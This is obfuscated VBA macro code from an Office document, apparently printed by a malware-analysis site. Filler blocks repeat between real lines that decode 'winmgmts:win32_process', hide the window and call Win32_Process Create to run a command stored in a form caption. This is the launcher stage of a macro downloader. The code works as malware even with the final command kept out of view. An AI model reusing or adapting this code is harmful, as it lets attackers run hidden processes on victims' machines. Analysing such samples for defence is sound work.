LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Chifzzuxn.Ogwacyapxz
End Sub

Attribute VB_Name = "Tndtzwgq"
Attribute VB_Base = "0{25F2D7D1-313A-47D2-BE09-8415E4BCBCFA}{2403BCA2-142D-40A2-ADFC-5845DFF10A47}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Chifzzuxn"
Function Ogwacyapxz()
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Kjaqqhrcaic = "3}{33}{3w3}{3i3}{33}{3n3}{3m3}{3g3}{33}{3mt3}{33}{3" + ChrW(Tndtzwgq.Zoom + 9 + 6) + ":3}{3wi3}{33}{3n33}{33}{33}{323}{33}{3_3}{33}{3" + Tndtzwgq.Apypmbituepdt + "r3}{33}{3o3}{3ce3}{3s3}{33}{3s3}{3"
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Aqvpotskoc = Dimkmsirbz(Kjaqqhrcaic)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Set Vygnyhhbzoqn = CreateObject(Aqvpotskoc)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Hxpfcooq = Tndtzwgq.Lhkgxzvf.Tag
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Lvxhmulxvdumd = Aqvpotskoc + ChrW(Tndtzwgq.Zoom + 9 + 6) + Tndtzwgq.Cxzbellkqoxzu.Tag + Hxpfcooq
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Weacrznmgpvx = Lvxhmulxvdumd + Tndtzwgq.Apypmbituepdt
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Set Etfimqhh = Aobqvgehe(Weacrznmgpvx)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Call Vygnyhhbzoqn. _
Create(LlftsxEDRX2 + LlftsxEDRX2 + Hgxgjxletcwe + cvef, Opzjlpdlsmk, Etfimqhh)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
End Function
Function Aobqvgehe(Isjrmpeyvtl)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Set Aobqvgehe = CreateObject(Isjrmpeyvtl)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Aobqvgehe. _
showwindow = Ysvvscrf + Mltyeebkc
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
End Function
Function Dimkmsirbz(Liapjrwbtvb)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Xdivotyvdw = Liapjrwbtvb
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Megagsgig = Split(Xdivotyvdw, "3}{3")
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Griepdrdym = LN + Join(Megagsgig, NoLineBreakAfter)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Dimkmsirbz = Griepdrdym
End Function
Function Hgxgjxletcwe()
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
ds34 = Tndtzwgq.Kyupynuqnfb.Pages(0).Caption
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Hgxgjxletcwe = Dimkmsirbz(ds34)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.